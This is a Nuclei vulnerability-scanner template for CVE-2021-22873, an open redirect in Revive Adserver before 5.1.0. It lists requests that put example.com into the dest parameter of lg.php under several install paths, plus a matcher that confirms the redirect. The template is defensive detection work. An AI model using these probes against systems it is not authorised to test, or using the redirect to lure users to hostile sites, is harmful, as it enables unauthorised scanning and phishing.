nuclei-templates/cves/2021/CVE-2021-22873.yaml

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id: CVE-2021-22873
info:
name: Revive Adserver < 5.1.0 Open Redirect
author: pudsec
severity: medium
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description: Revive Adserver before 5.1.0 is vulnerable to open redirects via the dest, oadest, and ct0 parameters of the lg.php and ck.php delivery scripts.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-22873
- https://hackerone.com/reports/1081406
- https://github.com/revive-adserver/revive-adserver/issues/1068
- http://seclists.org/fulldisclosure/2021/Jan/60
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-22873
cwe-id: CWE-601
tags: cve,cve2021,redirect
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requests:
- method: GET
path:
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- "{{BaseURL}}/ads/www/delivery/lg.php?dest=http://example.com"
- "{{BaseURL}}/adserve/www/delivery/lg.php?dest=http://example.com"
- "{{BaseURL}}/adserver/www/delivery/lg.php?dest=http://example.com"
- "{{BaseURL}}/openx/www/delivery/lg.php?dest=http://example.com"
- "{{BaseURL}}/revive/www/delivery/lg.php?dest=http://example.com"
- "{{BaseURL}}/www/delivery/lg.php?dest=http://example.com"
stop-at-first-match: true
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redirects: true
max-redirects: 2
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matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "<title>Example Domain</title>"
part: body